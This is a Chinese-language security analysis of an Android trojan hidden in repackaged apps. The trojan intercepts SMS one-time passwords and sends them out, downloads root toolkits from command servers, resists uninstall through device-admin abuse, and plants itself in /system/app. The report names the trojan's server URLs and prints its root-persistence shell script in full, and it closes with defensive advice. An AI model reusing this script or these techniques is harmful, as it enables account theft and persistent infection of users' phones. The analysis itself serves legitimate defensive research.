<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/papers/9538

                    作者:逆巴,[email protected]

                    0x01 木馬介紹


                    攻擊者將木馬制作成用戶剛需應用,如色情類、生活服務類,或將惡意代碼通過二次打包,注入到合法的應用當中,偽裝成為合法應用,上傳到android市場或某些論壇,誘導用戶下載。一旦用戶下載運行了此類應用,木馬通過云端推送root 工具包,以及惡意應用;通過短信提取動態密碼,第一時間發送給木馬作者,直接造成財產損失、隱私泄露等;木馬創建不死服務,后臺root設備,成功root后將 惡意應用植入系統分區,用戶即使恢復出廠設置也無法完全卸載木馬。具體執行過程如下圖:

                    圖木馬執行流程

                    被感染應用以及惡意樣本數量過千類,以下列出“萬年歷,清澀笑話,特實惠, 魅力女生動態桌面,開心樂消消-歡樂版,內涵壁紙,開心樂消消,全網充話費,極致腿模,好聽音樂,HoloTorch,情趣內涵電臺,Accurate Battery,Super Silent,心情天氣”

                    圖木馬圖標

                    0x02 樣本行為分析


                    樣本存在大量變種,以下對“偽萬年歷”樣本進行行為分析。木馬將惡意代碼打包入正常應用。啟動“偽萬年歷”應用后,進入正常的日歷界面,而應用的Application 類作為惡意代碼入口點。

                    圖“偽萬年歷”應用啟動界面

                    2.1監聽短信彩信,獲取動態驗證碼

                    提取短信中的動態密碼,第一時間轉發到指定號碼并截斷短信發送,這樣用戶將在不之情的情況下,大量賬號被盜。攔截用戶短信彩信,提取到的動態密碼以及手機信息發送到云端服務器。直接造成財產損失,隱私泄露。

                    木馬動態注冊短信監聽廣播,通過類加載反射等技術進行具體的監控操作。當觸發短信消息事件時,木馬會動態加載myjar.jar,反射調用smscheck函數。

                    圖動態注冊廣播監聽短信消息

                    圖動態加載dex,反射調用smscheck函數

                    圖提取動態密碼代碼

                    對smscheck函數分析,發現若攔截到的短信中存在動態密碼,病毒會第一時間發送給指定號碼,同時會將動態密碼,以及當前手機信息作為參數post提交到云端服務器。也就是木馬作者通過用戶手機號碼找回密碼,這樣輕松的盜取用戶賬號密碼,而中馬用戶完全不知曉。

                    圖將動態密碼發送到指定手機

                    圖將攔截到短信發送到指定服務器

                    接下來過濾短信發送者,將短信內容,發送者手機號碼,以及手機imsi等發post到指定服務器

                    跟蹤發現服務器目錄,存放了中馬手機信息以及root手機的工具

                    圖服務器目錄文件

                    2.2啟動LocationService

                    a 監聽廣播,觸發云端交互,下載root 工具包和推廣的惡意應用

                    LocationService開啟任務線程,在任務線程里動態注冊廣播,監聽網絡變化,屏幕喚醒鎖屏,應用安裝卸載跟新等,監控廣播做為病毒行為觸發點。獲取手機信息做為post參數,上傳到云端服務器。 (android.net.conn.CONNECTIVITY_CHANGE,android.intent.action.USER_PRESENT,android.intent.action.SCREEN_OFF,android.intent.action.SCREEN_ON,android.intent.action.PACKAGE_ADDED,android.intent.action.PACKAGE_CHANGED, android.intent.action.PACKAGE_REPLACED,android.intent.action.PACKAGE_REMOVED)

                    接下來對病毒下載云端root 工具的分析。木馬首先向服務器post手機的imei、imsi、分辨率、手機號等基本信息,服務器返回加密的url指令,解碼url獲取下載Root手機所需的busybox、su、install-recovery.sh等工具

                    圖post 手機信息到服務器(http://api.wangyan9488.com:8285/api/getShell.jsp),返回加密url

                    圖服務器返回的加密url

                    圖shellv5.jar 里的文件 root 工具包

                    木馬本地解密url,獲取到root 工具下載源(http://222.21x.xxx.7:8661/apk/rootsheel/1438654068044948.jar),下載到手機后改名為“shellv5.jar”,其實是一壓縮包

                    采用同樣的過程下載root sdk,訪問服務器http://api.wangyan9488.com:8287/api/getAttach.jsp,獲取加密url

                    圖加密root sdk url

                    木馬解密url,獲取下載源(http://222.21x.xxx.x:8661/apk/dlapp/14386539787043206.jar)下載jar文件,下載到手機后改名為“dlv5.jar”。通過動態加載該文件中的dex文件,同時利用之前下載的工具獲取Root權限,隨后將同名文件名的apk文件植入到/system/app/下并安裝。該apk偽裝成系統“下載服務”,而自身是與母樣本偽萬年歷相同行為的木馬。

                    b 強制激活設備管理,防止卸載

                    利用設備管理器缺陷,在取消激活設備管理之前,DevicePolicyManagerService會調用應用的onDisableRequested方法獲取取消激活的警示信息。下圖可以發現病毒在發現取消激活時,會進行屏幕鎖屏之后進入系統setting 頁面,這樣一旦用戶激活設備將無法卸載。

                    圖取消設備管理時屏幕鎖屏

                    c 最后啟動另外一個核心服務blueService

                    圖啟動BlueService服務

                    2.3 blueService服務

                    a 強制安裝ANDROID_SCREEN_ON_OFF.apk應用

                    偽裝成系統“下載管理”應用,同樣通過post手機信息到云端服務器,get加密后的url,然后本地解密url獲取下載推廣的應用。同樣的代碼模塊激活設備管理防止卸載。

                    圖“下載管理”應用

                    圖“下載管理”激活設備管理

                    b root 手機

                    下圖為BlueService服務的任務線程,紅色框動態注冊RootReciver,當網絡發生變化或手機鎖屏喚醒時,在后臺嘗試root。

                    圖blueService服務任務線程代碼

                    檢測14425728404326709.apk是否被安裝,其實這是root之后安裝到系統目錄下的文件,root的最終目的就是將惡意應用植入system目錄,偽裝成系統應用,長期駐留用戶設備。木馬通過DexClassLoader加載云端配置的rootDex,隨后反射調用getDex 函數進行root工作。下圖動態加載dex,反射調用getDex

                    圖動態加載dex,反射調用getDex

                    將云端下載到sdcard/.xxx目錄里的busybox,su 拷貝到應用文件目錄,創建aa.xml文件表示開始進行root 工作。下圖創建開始root文件

                    圖創建開始root的flag文件

                    將云端下載在xxx目錄下的root 工具,拷貝到data/files目錄下,并在files目錄下創建psneuter.js

                    圖拷貝root 工具

                    root成功后將14425728404326709.apk 安裝到system/app目錄并啟動該應用。動態攔截發現,本次分析下載的root sdk 工具包,應該是刷機大師的MTK ROOT方案。由于云端配置靈活,下載獲取的root工具包靈活(根據手機版本等信息,下載不同root工具包)。

                    圖root 手機代碼

                    圖動態攔截返回

                    1. suc f0h5zguZ9aJXbCZExMaN2kDhh6V0Uw== /system/bin/sh psneuter.js
                    2. suc al1s7jBFNtn9faBmC0Jb9A9Ns1GZSg== /system/bin/sh psneuter.js
                    3. suc HygZRm2IHTKWpp7Hll/sS0uY66xdcw== /system/bin/sh psneuter.js

                    成功root后執行psneuter.js,木馬將成功偽裝成系統應用隱藏在用戶手機,即使恢復出廠設置也無法卸載。

                    psneuter.js文件內容

                    #!bash
                    #!/system/bin/sh
                    mount -o rw,remount /system
                    /data/local/tmp/busybox mount -o rw,remount /system
                    cat /data/local/tmp/14425728404326709.apk > /system/app/14425728404326709.apk
                    chmod 0644 /system/app/14425728404326709.apk
                    pm install /system/app/14425728404326709.apk
                    mount -o ro,remount /system
                    /data/local/tmp/busybox mount -o ro,remount /system
                    echo "Now, script finish!”
                    

                    圖 root成功木馬偽裝系統軟件“下載服務”

                    c 不死服務LocationService, BlueService

                    只要保證兩大核心服務LocationService,BlueService 不死,就可以一直在后臺執行惡意代碼。木馬在啟動核型服務LocationService,BlueService的同時,會注冊守護廣播,保證核心服務一直啟動。

                    圖啟動LocationService服務同時注冊守護廣播

                    守護服務的廣播,通過監聽屏幕開關、手機電量變化、時間更改,啟動被保護的服務。

                    圖守護廣播監聽的消息

                    0x03 變種追蹤


                    該樣本存在大量變種,且都是由LocationService,BlueService核心服務演變而來,從最開始的惡意應用推廣到云端root sdk配置,升級到通過短信盜號,對抗殺軟檢測在native層檢測運行環境等。

                    對變種木馬“內涵壁紙”樣本分析,首先在native層檢查運行環境,若不是模擬器才啟動惡意廣播。這樣有效的躲避了動態引擎檢測,以及逆向分析人員分析。

                    圖native層啟動惡意廣播

                    模擬器檢查,若木馬運行環境在模擬器內,木馬將不會啟動惡意廣播。模擬檢查主要檢查cpuinfo是否為goldfish,設備IDS是不是 “000000000000000”, imsi id是不是“310260000000000“,手機運營商等。

                    圖模擬器檢測

                    0x04 建議和解決方案


                    1. 使用加固手段增加被惡意者二次打包的成本:如使用阿里聚安全應用加固方案,無需開發者修改源代碼或者二次開發,通過加殼,加密,邏輯混淆,代碼隱藏等各類應用加固方法,防止應用被逆向分析,反編譯,以及二次打包嵌入各類病毒廣告等惡意代碼。

                    2. 用戶下載應用請到官方網站或安全應用市場,切勿點擊任何色情鏈接,尤其是短信、QQ、微信等聊天工具中不熟識的“朋友”發來的鏈接。

                    3. 如果不確定手機是否毒,可以安裝阿里錢盾等手機安全軟件,對手機上的應用進行檢測,防止高風險惡意應用的安裝。

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频